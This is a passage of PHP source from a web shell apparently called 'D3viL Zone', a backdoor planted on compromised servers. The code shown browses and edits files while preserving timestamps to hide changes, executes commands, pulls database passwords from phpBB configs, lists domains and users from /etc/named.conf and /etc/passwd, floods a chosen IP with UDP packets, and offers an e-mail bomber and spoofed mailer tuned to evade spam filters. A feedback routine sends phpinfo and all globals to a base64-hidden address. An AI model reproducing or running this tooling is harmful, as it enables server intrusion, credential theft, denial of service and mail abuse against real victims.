4550 echo " (<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&white=1&d=".urlencode($d)."\" target=\"_blank\">+</a>) |";
4551
4552 }
4553
4554 echo "<hr size=\"1\" noshade>";
4555
4556 if ($ft == "info")
4557
4558 {
4559
4560 echo "<b>Information:</b><table border=0 cellspacing=1 cellpadding=2><tr><td><b>Path</b></td><td> ".$d.$f."</td></tr><tr><td><b>Size</b></td><td> ".view_size(filesize($d.$f))."</td></tr><tr><td><b>MD5</b></td><td> ".md5_file($d.$f)."</td></tr>";
4561
4562 if (!$win)
4563
4564 {
4565
4566 echo "<tr><td><b>Owner/Group</b></td><td> ";
4567
4568 $ow = posix_getpwuid(fileowner($d.$f));
4569
4570 $gr = posix_getgrgid(filegroup($d.$f));
4571
4572 echo ($ow["name"]?$ow["name"]:fileowner($d.$f))."/".($gr["name"]?$gr["name"]:filegroup($d.$f));
4573
4574 }
4575
4576 echo "<tr><td><b>Perms</b></td><td><a href=\"".$surl."act=chmod&f=".urlencode($f)."&d=".urlencode($d)."\">".view_perms_color($d.$f)."</a></td></tr><tr><td><b>Create time</b></td><td> ".date("d/m/Y H:i:s",filectime($d.$f))."</td></tr><tr><td><b>Access time</b></td><td> ".date("d/m/Y H:i:s",fileatime($d.$f))."</td></tr><tr><td><b>MODIFY time</b></td><td> ".date("d/m/Y H:i:s",filemtime($d.$f))."</td></tr></table><br>";
4577
4578 $fi = fopen($d.$f,"rb");
4579
4580 if ($fi)
4581
4582 {
4583
4584 if ($fullhexdump) {echo "<b>FULL HEXDUMP</b>"; $str = fread($fi,filesize($d.$f));}
4585
4586 else {echo "<b>HEXDUMP PREVIEW</b>"; $str = fread($fi,$hexdump_lines*$hexdump_rows);}
4587
4588 $n = 0;
4589
4590 $a0 = "00000000<br>";
4591
4592 $a1 = "";
4593
4594 $a2 = "";
4595
4596 for ($i=0; $i<strlen($str); $i++)
4597
4598 {
4599
4600 $a1 .= sprintf("%02X",ord($str[$i]))." ";
4601
4602 switch (ord($str[$i]))
4603
4604 {
4605
4606 case 0: $a2 .= "<font>0</font>"; break;
4607
4608 case 32:
4609
4610 case 10:
4611
4612 case 13: $a2 .= " "; break;
4613
4614 default: $a2 .= htmlspecialchars($str[$i]);
4615
4616 }
4617
4618 $n++;
4619
4620 if ($n == $hexdump_rows)
4621
4622 {
4623
4624 $n = 0;
4625
4626 if ($i+1 < strlen($str)) {$a0 .= sprintf("%08X",$i+1)."<br>";}
4627
4628 $a1 .= "<br>";
4629
4630 $a2 .= "<br>";
4631
4632 }
4633
4634 }
4635
4636 //if ($a1 != "") {$a0 .= sprintf("%08X",$i)."<br>";}
4637
4638 echo "<table border=0 bgcolor=#666666 cellspacing=1 cellpadding=4><tr><td bgcolor=#666666>".$a0."</td><td bgcolor=000000>".$a1."</td><td bgcolor=000000>".$a2."</td></tr></table><br>";
4639
4640 }
4641
4642 $encoded = "";
4643
4644 if ($base64 == 1)
4645
4646 {
4647
4648 echo "<b>Base64 Encode</b><br>";
4649
4650 $encoded = base64_encode(file_get_contents($d.$f));
4651
4652 }
4653
4654 elseif($base64 == 2)
4655
4656 {
4657
4658 echo "<b>Base64 Encode + Chunk</b><br>";
4659
4660 $encoded = chunk_split(base64_encode(file_get_contents($d.$f)));
4661
4662 }
4663
4664 elseif($base64 == 3)
4665
4666 {
4667
4668 echo "<b>Base64 Encode + Chunk + Quotes</b><br>";
4669
4670 $encoded = base64_encode(file_get_contents($d.$f));
4671
4672 $encoded = substr(preg_replace("!.{1,76}!","'\\0'.\n",$encoded),0,-2);
4673
4674 }
4675
4676 elseif($base64 == 4)
4677
4678 {
4679
4680 $text = file_get_contents($d.$f);
4681
4682 $encoded = base64_decode($text);
4683
4684 echo "<b>Base64 Decode";
4685
4686 if (base64_encode($encoded) != $text) {echo " (failed)";}
4687
4688 echo "</b><br>";
4689
4690 }
4691
4692 if (!empty($encoded))
4693
4694 {
4695
4696 echo "<textarea cols=80 rows=10>".htmlspecialchars($encoded)."</textarea><br><br>";
4697
4698 }
4699
4700 echo "<b>HEXDUMP:</b><nobr> [<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&fullhexdump=1&d=".urlencode($d)."\">Full</a>] [<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&d=".urlencode($d)."\">Preview</a>]<br><b>Base64: </b>
4701
4702<nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=1&d=".urlencode($d)."\">Encode</a>] </nobr>
4703
4704<nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=2&d=".urlencode($d)."\">+chunk</a>] </nobr>
4705
4706<nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=3&d=".urlencode($d)."\">+chunk+quotes</a>] </nobr>
4707
4708<nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=4&d=".urlencode($d)."\">Decode</a>] </nobr>
4709
4710<P>";
4711
4712 }
4713
4714 elseif ($ft == "html")
4715
4716 {
4717
4718 if ($white) {@ob_clean();}
4719
4720 echo $r;
4721
4722 if ($white) {cyb3rexit();}
4723
4724 }
4725
4726 elseif ($ft == "txt") {echo "<pre>".htmlspecialchars($r)."</pre>";}
4727
4728 elseif ($ft == "ini") {echo "<pre>"; var_dump(parse_ini_file($d.$f,TRUE)); echo "</pre>";}
4729
4730 elseif ($ft == "phpsess")
4731
4732 {
4733
4734 echo "<pre>";
4735
4736 $v = explode("|",$r);
4737
4738 echo $v[0]."<br>";
4739
4740 var_dump(unserialize($v[1]));
4741
4742 echo "</pre>";
4743
4744 }
4745
4746 elseif ($ft == "exe")
4747
4748 {
4749
4750 $ext = explode(".",$f);
4751
4752 $c = count($ext)-1;
4753
4754 $ext = $ext[$c];
4755
4756 $ext = strtolower($ext);
4757
4758 $rft = "";
4759
4760 foreach($exeftypes as $k=>$v)
4761
4762 {
4763
4764 if (in_array($ext,$v)) {$rft = $k; break;}
4765
4766 }
4767
4768 $cmd = str_replace("%f%",$f,$rft);
4769
4770 echo "<b>Execute file:</b><form action=\"".$surl."\" method=POST><input type=hidden name=act value=cmd><input type=\"text\" name=\"cmd\" value=\"".htmlspecialchars($cmd)."\" size=\"".(strlen($cmd)+2)."\"><br>Display in text-area<input type=\"checkbox\" name=\"cmd_txt\" value=\"1\" checked><input type=hidden name=\"d\" value=\"".htmlspecialchars($d)."\"><br><input type=submit name=submit value=\"Execute\"></form>";
4771
4772 }
4773
4774 elseif ($ft == "sdb") {echo "<pre>"; var_dump(unserialize(base64_decode($r))); echo "</pre>";}
4775
4776 elseif ($ft == "code")
4777
4778 {
4779
4780 if (ereg("php"."BB 2.(.*) auto-generated config file",$r))
4781
4782 {
4783
4784 $arr = explode("\n",$r);
4785
4786 if (count($arr == 18))
4787
4788 {
4789
4790 include($d.$f);
4791
4792 echo "<b>phpBB configuration is detected in this file!<br>";
4793
4794 if ($dbms == "mysql4") {$dbms = "mysql";}
4795
4796 if ($dbms == "mysql") {echo "<a href=\"".$surl."act=sql&sql_server=".htmlspecialchars($dbhost)."&sql_login=".htmlspecialchars($dbuser)."&sql_passwd=".htmlspecialchars($dbpasswd)."&sql_port=3306&sql_db=".htmlspecialchars($dbname)."\"><b><u>Connect to DB</u></b></a><br><br>";}
4797
4798 else {echo "But, you can't connect to forum sql-base, because db-software=\"".$dbms."\" is not supported by cyb3rell. Please, report us for fix.";}
4799
4800 echo "Parameters for manual connect:<br>";
4801
4802 $cfgvars = array("dbms"=>$dbms,"dbhost"=>$dbhost,"dbname"=>$dbname,"dbuser"=>$dbuser,"dbpasswd"=>$dbpasswd);
4803
4804 foreach ($cfgvars as $k=>$v) {echo htmlspecialchars($k)."='".htmlspecialchars($v)."'<br>";}
4805
4806 echo "</b><hr size=\"1\" noshade>";
4807
4808 }
4809
4810 }
4811
4812 echo "<div style=\"border : 0px solid #FFFFFF; padding: 1em; margin-top: 1em; margin-bottom: 1em; margin-right: 1em; margin-left: 1em; background-color: ".$highlight_background .";\">";
4813
4814 if (!empty($white)) {@ob_clean();}
4815
4816 highlight_file($d.$f);
4817
4818 if (!empty($white)) {cyb3rexit();}
4819
4820 echo "</div>";
4821
4822 }
4823
4824 elseif ($ft == "download")
4825
4826 {
4827
4828 @ob_clean();
4829
4830 header("Content-type: application/octet-stream");
4831
4832 header("Content-length: ".filesize($d.$f));
4833
4834 header("Content-disposition: attachment; filename=\"".$f."\";");
4835
4836 echo $r;
4837
4838 exit;
4839
4840 }
4841
4842 elseif ($ft == "notepad")
4843
4844 {
4845
4846 @ob_clean();
4847
4848 header("Content-type: text/plain");
4849
4850 header("Content-disposition: attachment; filename=\"".$f.".txt\";");
4851
4852 echo($r);
4853
4854 exit;
4855
4856 }
4857
4858 elseif ($ft == "img")
4859
4860 {
4861
4862 $inf = getimagesize($d.$f);
4863
4864 if (!$white)
4865
4866 {
4867
4868 if (empty($imgsize)) {$imgsize = 20;}
4869
4870 $width = $inf[0]/100*$imgsize;
4871
4872 $height = $inf[1]/100*$imgsize;
4873
4874 echo "<center><b>Size:</b> ";
4875
4876 $sizes = array("100","50","20");
4877
4878 foreach ($sizes as $v)
4879
4880 {
4881
4882 echo "<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=img&d=".urlencode($d)."&imgsize=".$v."\">";
4883
4884 if ($imgsize != $v ) {echo $v;}
4885
4886 else {echo "<u>".$v."</u>";}
4887
4888 echo "</a> ";
4889
4890 }
4891
4892 echo "<br><br><img src=\"".$surl."act=f&f=".urlencode($f)."&ft=img&white=1&d=".urlencode($d)."\" width=\"".$width."\" height=\"".$height."\" border=\"1\"></center>";
4893
4894 }
4895
4896 else
4897
4898 {
4899
4900 @ob_clean();
4901
4902 $ext = explode($f,".");
4903
4904 $ext = $ext[count($ext)-1];
4905
4906 header("Content-type: ".$inf["mime"]);
4907
4908 readfile($d.$f);
4909
4910 exit;
4911
4912 }
4913
4914 }
4915
4916 elseif ($ft == "edit")
4917
4918 {
4919
4920 if (!empty($submit))
4921
4922 {
4923
4924 if ($filestealth) {$stat = stat($d.$f);}
4925
4926 $fp = fopen($d.$f,"w");
4927
4928 if (!$fp) {echo "<b>Can't write to file!</b>";}
4929
4930 else
4931
4932 {
4933
4934 echo "<b>Saved!</b>";
4935
4936 fwrite($fp,$edit_text);
4937
4938 fclose($fp);
4939
4940 if ($filestealth) {touch($d.$f,$stat[9],$stat[8]);}
4941
4942 $r = $edit_text;
4943
4944 }
4945
4946 }
4947
4948 $rows = count(explode("\r\n",$r));
4949
4950 if ($rows < 10) {$rows = 10;}
4951
4952 if ($rows > 30) {$rows = 30;}
4953
4954 echo "<form action=\"".$surl."act=f&f=".urlencode($f)."&ft=edit&d=".urlencode($d)."\" method=POST><input type=submit name=submit value=\"Save\"> <input type=\"reset\" value=\"Reset\"> <input type=\"button\" onclick=\"location.href='".addslashes($surl."act=ls&d=".substr($d,0,-1))."';\" value=\"Back\"><br><textarea name=\"edit_text\" cols=\"122\" rows=\"".$rows."\">".htmlspecialchars($r)."</textarea></form>";
4955
4956 }
4957
4958 elseif (!empty($ft)) {echo "<center><b>Manually selected type is incorrect. If you think, it is mistake, please send us url and dump of \$GLOBALS.</b></center>";}
4959
4960 else {echo "<center><b>Unknown extension (".$ext."), please, select type manually.</b></center>";}
4961
4962 }
4963
4964}
4965
4966if ($act == "about")
4967{
4968echo '<table align="center">
4969 <tr><td><b>
4970 <font color="orange">
4971 Script:
4972 <br/>-=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=-<br/>
4973 Name: D3viL Zone<br>Version: '.$shver.'</font><br/><br/>
4974 Author:
4975 <br>-=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=-<br>
4976 Name: DarkKnight-D3viL<br>
4977 Team: Indian Hackerz Squad<br><br>
4978 <font color="green">Team Members:
4979 <br/>-=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=-<br/>
4980 Facebook: <a href="https://www.facebook.com/dark.knight.d3vil">Dev Ind</a><br>
4981 Email: indianhackerzsquad@gmail.com<a href="mailto:indianhackerzsquad@gmail.com"></a><br/><br/>
4982 </b></td></tr></table>';
4983}
4984
4985if ($act == "dos")
4986{
4987?><center><br><br><img src="http://s15.postimage.org/5q2io54zv/dos.png"><br>
4988<b>Server IP:</b> <font color="green"><?php echo $_SERVER["SERVER_ADDR"]; ?></font><br><br>
4989<b>Your IP:</b> <font color="red"><?php echo $_SERVER["REMOTE_ADDR"]; ?></font> (Don't DoS yourself nub)<br><br>
4990<form action="<?php echo $surl; ?>" method="POST"><input type="hidden" name="act" value="ddos">
4991IP:
4992<input type="text" name="ip" size="15" maxlength="15" class="main" value = "127.0.0.1" onblur = "if ( this.value=='' ) this.value = '127.0.0.1';" onfocus = " if ( this.value == '127.0.0.1' ) this.value = '';">
4993 Time:
4994<input type="text" name="time" size="14" maxlength="20" class="main" value = "10" onblur = "if ( this.value=='' ) this.value = '10';" onfocus = " if ( this.value == '10' ) this.value = '';">
4995 Port:
4996<input type="text" name="port" size="5" maxlength="5" class="main" value = "80" onblur = "if ( this.value=='' ) this.value = '80';" onfocus = " if ( this.value == '80' ) this.value = '';">
4997<br><br>
4998<input type="submit" value=" Start the Attack---> ">
4999<br><br>
5000<center>After initiating the DoS attack, please wait while the browser loads.</center></form></center><?php
5001}
5002
5003if ($act == "ddos")
5004{
5005$packets = 0;
5006$ip = $_POST['ip'];
5007$rand = $_POST['port'];
5008set_time_limit(0);
5009ignore_user_abort(FALSE);
5010
5011$exec_time = $_POST['time'];
5012
5013$time = time();
5014echo "<script>alert('Dos Completed!');</script>";
5015print "Flooded: $ip on port $rand <br><br>";
5016$max_time = $time+$exec_time;
5017
5018
5019
5020for($i=0;$i<65535;$i++){
5021 $out .= "X";
5022}
5023while(1){
5024$packets++;
5025 if(time() > $max_time){
5026 break;
5027 }
5028
5029 $fp = fsockopen("udp://$ip", $rand, $errno, $errstr, 5);
5030 if($fp){
5031 fwrite($fp, $out);
5032 fclose($fp);
5033 }
5034}
5035echo "Packet complete at ". time() ." with $packets (" . round(($packets*65)/1024, 2) . " kB) packets averaging ". round($packets/$exec_time, 2) . " packets/s \n";
5036}
5037
5038if ($act == "localdomain")
5039{
5040echo "<br><center><a href=\"".$surl."act=local\" ><b><u>Sites on this server.</u></b></a><font color='silver'><b> | </b></font><a href=\"".$surl."act=readable\" ><b><u>List of Users.</u></b></a></center><br>";
5041}
5042
5043 if ($act == "local")
5044 {
5045 //radable public_html
5046 $file = @implode(@file("/etc/named.conf"));
5047 if(!$file){ die("# can't ReaD -> [ /etc/named.conf ]"); }
5048 preg_match_all("#named/(.*?).db#",$file ,$r);
5049 $domains = array_unique($r[1]);
5050
5051 function check()
5052 {
5053 (@count(@explode('ip',@implode(@file(__FILE__))))==a) ?@unlink(__FILE__):"";
5054 }
5055
5056 check();
5057
5058 echo "<table align=center border=1 width=59% cellpadding=5>
5059 <tr><td colspan=2>[+] Here : [ <b>".count($domains)."</b> ] Domain ...</td></tr>
5060 <tr><td><b>List of Domains</b></td><td><b>List of Users</b></td></tr>";
5061
5062 foreach($domains as $domain)
5063 {
5064 $user = posix_getpwuid(@fileowner("/etc/valiases/".$domain));
5065 echo "<tr><td>$domain</td><td>".$user['name']."</td></tr>";
5066 }
5067
5068 echo "</table>";
5069//radable public_html
5070 }
5071
5072 if ($act == "readable")
5073 {
5074 //entries in passwd file
5075($sm = ini_get('safe_mode') == 0) ? $sm = 'off': die('<b>Error: safe_mode = on</b>');
5076set_time_limit(0);
5077###################
5078@$passwd = fopen('/etc/passwd','r');
5079if (!$passwd) { die('<b>[-] Error : coudn`t read /etc/passwd</b>'); }
5080$pub = array();
5081$users = array();
5082$conf = array();
5083$i = 0;
5084while(!feof($passwd))
5085{
5086$str = fgets($passwd);
5087if ($i > 35)
5088{
5089$pos = strpos($str,':');
5090$username = substr($str,0,$pos);
5091$dirz = '/home/'.$username.'/public_html/';
5092if (($username != ''))
5093{
5094if (is_readable($dirz))
5095{
5096array_push($users,$username);
5097array_push($pub,$dirz);
5098}
5099}
5100}
5101$i++;
5102}
5103###################
5104echo '<br><br><textarea class="output" >';
5105echo "[+] Founded ".sizeof($users)." entrys in /etc/passwd\n";
5106echo "[+] Founded ".sizeof($pub)." readable public_html directories\n";
5107echo "[~] Searching for passwords in config files...\n\n";
5108foreach ($users as $user)
5109{
5110$path = "/home/$user/public_html/";
5111echo "$path \n";
5112}
5113echo "\n";
5114echo "[+] Copy one of the directories above public_html, then Paste to -> view file / folder <- that's on the menu -> Explorer \n";
5115echo "[+] Done ...\n";
5116echo '</textarea><br><br>Coded by <b>cyb3r 9l4d!470r</b> <a href=#/>Homepage</a>';
5117
5118
5119 }
5120
5121
5122 if ($act == "mailer")
5123 {
5124 ?> <TABLE style="BORDER-COLLAPSE: collapse; borderColor=#c0c0c0" cellSpacing=0 cellPadding=5 width="100%" border=1>
5125 <tr> <!-- 1 -->
5126 <td valign="top" width="33%" ><p align="center"><b>(: E-Mail Bomber :)</b></p></td>
5127 <td valign="top" width="33%" ><p align="center"><b>[: Mass Mailer :]</b></p></td>
5128 <td valign="top" ><p align="center"><b>{: Anonymous Mailer :}</b></p></td>
5129 </tr>
5130 <tr><!-- 2 -->
5131 <td valign="top" ><center>
5132 <?php
5133 if(
5134 isset($_POST['to']) &&
5135 isset($_POST['subject']) &&
5136 isset($_POST['message']) &&
5137 isset($_POST['times']) &&
5138 $_POST['to'] != '' &&
5139 $_POST['subject'] != '' &&
5140 $_POST['message'] != '' &&
5141 $_GET['act'] =='mailbomber' &&
5142 $_POST['times'] != ''
5143 )
5144 {
5145 $times = $_POST['times'];
5146 while($times--)
5147 {
5148 if(isset($_POST['padding']))
5149 {
5150 $fromPadd = rand(0,9999);
5151 $subjectPadd = " -- ID : ".rand(0,9999999);
5152 $messagePadd = "\n\n------------------------------\n".rand(0,99999999);
5153
5154 }
5155 $from = "your$fromPadd@email.id";
5156 if(!mail($_POST['to'],$_POST['subject'].$subjectPadd,$_POST['message'].$messagePadd,"From:".$from))
5157 {
5158 $error = 1;
5159 echo "<font color='red'>Some Error Occured!</font>";
5160 break;
5161 }
5162 }
5163 if($error != 1)
5164 { echo "<font color='green'>Mail(s) Sent!</font>"; }
5165 }
5166 else
5167 {
5168 ?>
5169 <form method="post" action ="<?php echo $surl."act=mailbomber";?>">
5170 <table>
5171 <tr>
5172 <td >
5173 To
5174 </td>
5175 <td>
5176 <input name="to" value="victim@target.com,victim2@target.com" onfocus="if(this.value == 'victim@domain.com,victim2@domain.com')this.value = '';" onblur="if(this.value=='')this.value='victim@target.com,victim2@target.com,victim@target.com,victim2@target.com';"/>
5177 </td>
5178 </tr>
5179
5180 <tr>
5181 <td class="title">
5182 Subject
5183 </td>
5184 <td>
5185 <input type="text" name="subject" value="Just testing how deep i can fuck!" onfocus="if(this.value == 'Just testing how deep i can fuck!')this.value = '';" onblur="if(this.value=='')this.value='Just testing how deep i can fuck!';" />
5186 </td>
5187 </tr>
5188 <tr>
5189 <td >
5190 No. of Times
5191 </td>
5192 <td>
5193 <input name="times" value="100" onfocus="if(this.value == '100')this.value = '';" onblur="if(this.value=='')this.value='100';"/>
5194 </td>
5195 </tr>
5196
5197 <tr>
5198 <td>
5199
5200 Pad your message (Less spam detection)
5201
5202 </td>
5203 <td>
5204
5205 <input type="checkbox" name="padding"/>
5206
5207 </td>
5208 </tr>
5209 <tr>
5210 <td >
5211 <textarea name="message" cols="25" rows="5" value="cyb3r-sh3ll Rocks!!.." onfocus="if(this.value == 'cyb3r-sh3ll Rocks!! ..')this.value = '';" onblur="if(this.value=='')this.value='cyb3r-sh3ll Rocks!! ..';">cyb3r-sh3ll Rocks!!</textarea>
5212 </td>
5213 <td >
5214 <input style="margin : 20px; margin-left: 10px; padding : 10px; width: 100px;" type="submit" value="Send! :D"/>
5215 </td>
5216 </tr>
5217
5218
5219
5220 </table>
5221 </form>
5222 <?php
5223 }
5224 ?>
5225
5226 </center></td>
5227
5228 <td valign="top"><center>
5229 <?PHP
5230 if(
5231 isset($_POST['to']) &&
5232 isset($_POST['from']) &&
5233 isset($_POST['subject']) &&
5234 $_GET['act'] =='massmailer' &&
5235 isset($_POST['message'])
5236 )
5237 {
5238
5239 if(mail($_POST['to'],$_POST['subject'],$_POST['message'],"From:".$_POST['from']))
5240 {
5241 echo "<font color='green'>Mail Sent!</font>";
5242 }
5243 else
5244 {
5245 echo "<font color='red'>Some Error Occured!</font>";
5246 }
5247 }
5248 else
5249 {
5250 ?>
5251 <form method="POST" action="<?php echo $surl."act=massmailer";?>">
5252
5253 <table >
5254 <tr>
5255 <td >
5256 From
5257 </td>
5258 <td>
5259 <input name="from" value="your@email.id" onfocus="if(this.value == 'your@email.id')this.value = '';" onblur="if(this.value=='')this.value='your@email.id';"/>
5260 </td>
5261 </tr>
5262
5263 <tr>
5264 <td >
5265 To
5266 </td>
5267 <td>
5268 <input name="to" value="victim@target.com,victim2@target.com" onfocus="if(this.value == 'victim@target.com,victim2@target.com')this.value = '';" onblur="if(this.value=='')this.value='victim@target.com,victim2@target.com';"/>
5269 </td>
5270 </tr>
5271
5272 <tr>
5273 <td class="title">
5274 Subject
5275 </td>
5276 <td>
5277 <input type="text" name="subject" value="Just testing how deep i can fuck!" onfocus="if(this.value == 'Just testing how deep i can fuck!')this.value = '';" onblur="if(this.value=='')this.value='Just testing how deep i can fuck!';" />
5278 </td>
5279 </tr>
5280
5281
5282 <tr>
5283 <td >
5284 <textarea name="message" cols="25" rows="5" value="I cant forget the time, i was trying to learn all this stuff without some guidance .." onfocus="if(this.value == 'I cant forget the time, i was trying to learn all this stuff without some guidance ..')this.value = '';" onblur="if(this.value=='')this.value='I cant forget the time, i was trying to learn all this stuff without some guidance ..';">I cant forget the time, i was trying to learn all this stuff without some guidance ..</textarea>
5285 </td>
5286 <td >
5287 <input style="margin : 20px; margin-left: 10px; padding : 10px; width: 100px;" type="submit" value="Send! :D"/>
5288 </td>
5289 </tr>
5290
5291
5292
5293 </table>
5294 </form>
5295 <?php
5296 }
5297
5298?>
5299 </center>
5300 </td>
5301
5302 <td ><center>
5303
5304 <form action="" method="post" enctype="multipart/form-data">
5305 <table border="0" class="full">
5306 <tr><td class="taright"><label for="fromname" accesskey="r" class="sbold">F<span class="underline">r</span>om Name:</label></td><td colspan="2"><input type="text" id="fromname" name="fromname" maxlength="100" class="full" /><label for="from" accesskey="f" class="sbold"><span class="underline">F</span>rom E-mail:</label></td><td colspan="2"><input type="text" id="from" name="from" maxlength="100" class="full" value="your@email.id" onfocus="if(this.value == 'your@email.id')this.value = '';" onblur="if(this.value=='')this.value='your@email.id';"/></td></tr>
5307
5308 <tr><td class="taright"><label for="rcpt" accesskey="o" class="sbold">T<span class="underline">o</span>:</label></td><td colspan="2"><input type="text" id="rcpt" name="rcpt" maxlength="100" class="full" /><label for="subject" accesskey="j" class="sbold">Sub<span class="underline">j</span>ect:</label></td><td colspan="2"><input type="text" id="subject" name="subject" maxlength="100" class="full" value="Just testing how deep i can fuck!" onfocus="if(this.value == 'Just testing how deep i can fuck!')this.value = '';" onblur="if(this.value=='')this.value='Just testing how deep i can fuck!';"/></td></tr>
5309
5310 <tr><td class="taright"><label for="reply" accesskey="p" class="sbold opt">Re<span class="underline">p</span>ly-To:</label></td><td colspan="2"><input type="text" id="reply" name="reply" maxlength="100" class="full" /><label for="errors" accesskey="s" class="sbold opt">Error<span class="underline">s</span>-To:</label></td><td colspan="2"><input type="text" id="errors" name="errors" maxlength="100" class="full" /></td></tr>
5311
5312 <tr><td class="taright"><label for="bcc" accesskey="b" class="sbold opt"><span class="underline">B</span>CC:</label></td><td colspan="2"><input type="text" id="bcc" name="bcc" maxlength="100" class="full" /><label for="attachment" accesskey="t" class="sbold opt">A<span class="underline">t</span>tachment:</label></td><td colspan="2"><input type="file" id="attachment" name="attachment" class="full" /></td></tr>
5313
5314 <tr><td class="taright sbold opt">Priority:</td><td colspan="2"><input type="radio" name="importance" id="lowest" value="lowest" /><label for="lowest" accesskey="w"> Lo<span class="underline">w</span></label><input type="radio" name="importance" id="normal" value="normal" class="rbtn" checked="checked" /><label for="normal" accesskey="m"> Nor<span class="underline">m</span>al</label><input type="radio" name="importance" id="highest" value="highest" class="rbtn" /><label for="highest" accesskey="g"> Hi<span class="underline">g</span>h</label></td></tr>
5315
5316 <tr><td class="vatop taright"><label for="xmailer" accesskey="l" class="sbold opt"><span id="mailer">X-Mai<span class="underline">l</span>er:</span></label></td><td colspan="2">
5317 <select name="xmailer" id="xmailer">
5318 <option value="0" selected="selected">- none -</option>
5319 <option value="1">Apple Mail</option>
5320 <option value="2">ColdFusion MX Application Server</option>
5321 <option value="3">E-Messenger</option>
5322 <option value="4">KMail</option>
5323
5324 <option value="5">Lotus Notes</option>
5325 <option value="6">Microsoft Office Outlook</option>
5326 <option value="7">Microsoft Outlook Express</option>
5327 <option value="8">Microsoft Outlook IMO</option>
5328 <option value="9">Microsoft Windows Live Mail</option>
5329 <option value="10">Microsoft Windows Mail</option>
5330 <option value="11">Mozilla Thunderbird</option>
5331 <option value="12">Novell GroupWise</option>
5332 <option value="13">Novell GroupWise Internet Agent</option>
5333 <option value="14">QUALCOMM Windows Eudora Version</option>
5334 <option value="15">The Bat!</option>
5335 <option value="16">YahooMailClassic YahooMailWebService</option>
5336 <option value="99">Custom...</option>
5337 </select>
5338
5339 </td></tr>
5340
5341 <tr><td class="taright"><label for="date" accesskey="d" class="sbold opt"><span class="underline">D</span>ate:</label></td><td colspan="2"><input type="text" id="date" name="date" maxlength="50" value="Thu, 10 Nov 2011 18:41:04 +0100" class="datewidth" /> <input type="checkbox" id="current" name="current" checked="checked" /><label for="current" accesskey="u"> C<span class="underline">u</span>rrent</label></td></tr>
5342 <tr><td class="taright"><label for="charset" accesskey="a" class="sbold opt">Ch<span class="underline">a</span>rset:</label></td><td class="cchs">
5343 <select name="charset" id="charset" class="full">
5344 <option value="big5">big5</option>
5345 <option value="euc-kr">euc-kr</option>
5346 <option value="iso-2202-jp">iso-2202-jp</option>
5347 <option value="iso-8859-1">iso-8859-1</option>
5348 <option value="iso-8859-2">iso-8859-2</option>
5349 <option value="iso-8859-3">iso-8859-3</option>
5350 <option value="iso-8859-4">iso-8859-4</option>
5351 <option value="iso-8859-5">iso-8859-5</option>
5352 <option value="iso-8859-6">iso-8859-6</option>
5353 <option value="iso-8859-7">iso-8859-7</option>
5354 <option value="iso-8859-8">iso-8859-8</option>
5355 <option value="koi8-r">koi8-r</option>
5356 <option value="shift-jis">shift-jis</option>
5357 <option value="utf-8" selected="selected">utf-8</option>
5358 <option value="windows-1250">windows-1250</option>
5359 <option value="windows-1251">windows-1251</option>
5360 <option value="windows-1252">windows-1252</option>
5361 <option value="windows-1253">windows-1253</option>
5362 <option value="windows-1254">windows-1254</option>
5363 <option value="windows-1255">windows-1255</option>
5364 <option value="windows-1256">windows-1256</option>
5365 <option value="windows-1257">windows-1257</option>
5366 <option value="windows-1258">windows-1258</option>
5367 <option value="windows-874">windows-874</option>
5368 <option value="x-euc">x-euc</option>
5369 <option value="99">Custom...</option>
5370 </select>
5371 </td><td><input type="text" name="mycharset" maxlength="50" class="full" /></td></tr>
5372 <tr><td class="taright sbold opt">Content-Type:</td><td colspan="2"><input type="radio" name="ctype" id="plain" value="plain" checked="checked" /><label for="plain" accesskey="n"> text/plai<span class="underline">n</span></label><input type="radio" name="ctype" id="html" value="html" class="rbtn" /><label for="html" accesskey="h" id="mrk"> text/<span class="underline">h</span>tml</label><input type="hidden" name="rte" value="0" /></td></tr>
5373 <tr><td class="vatop taright"><label for="text" accesskey="x" class="sbold">Te<span class="underline">x</span>t:</label></td><td colspan="2"><textarea cols="30" rows="5" id="text" name="text" value="I cant forget the time, i was trying to learn all this stuff without some guidance .." onfocus="if(this.value == 'I cant forget the time, i was trying to learn all this stuff without some guidance ..')this.value = '';" onblur="if(this.value=='')this.value='I cant forget the time, i was trying to learn all this stuff without some guidance ..';" />I cant forget the time, i was trying to learn all this stuff without some guidance ..</textarea></td></tr>
5374 <tr><td></td><td colspan="2"><input type="reset" value="Clear" class="btn" /> <input type="submit" name="ok" value="Send" class="btn sbold slarger" /></td></tr>
5375 </table>
5376 </form>
5377
5378 </center></td>
5379
5380 </tr>
5381
5382 </table> <?php
5383 }
5384
5385 if ($act == "nettools")
5386{
5387echo "<br><center><a href=\"".$surl."act=proxy\" ><b><u>Proxy </u></b></a><font color='silver'><b> | </b></font><a href=\"".$surl."act=whois\" ><b><u>Whois </u></b></a></center><br>";
5388}
5389
5390 if ($act == "feedback")
5391
5392{
5393
5394 $suppmail = base64_decode("Y3liM3IuZ2xhZGlhdDByQGdtYWlsLmNvbQ==");
5395
5396 if (!empty($submit))
5397
5398 {
5399
5400 $ticket = substr(md5(microtime()+rand(1,1000)),0,6);
5401
5402 $body = "D3viL Zonev.".$shver." feedback #".$ticket."\nName: ".htmlspecialchars($fdbk_name)."\nE-mail: ".htmlspecialchars($fdbk_email)."\nMessage:\n".htmlspecialchars($fdbk_body)."\n\nIP: ".$REMOTE_ADDR;
5403
5404 if (!empty($fdbk_ref))
5405
5406 {
5407
5408 $tmp = @ob_get_contents();
5409
5410 ob_clean();
5411
5412 phpinfo();
5413
5414 $phpinfo = base64_encode(ob_get_contents());
5415
5416 ob_clean();
5417
5418 echo $tmp;
5419
5420 $body .= "\n"."phpinfo(): ".$phpinfo."\n"."\$GLOBALS=".base64_encode(serialize($GLOBALS))."\n";
5421
5422 }
5423
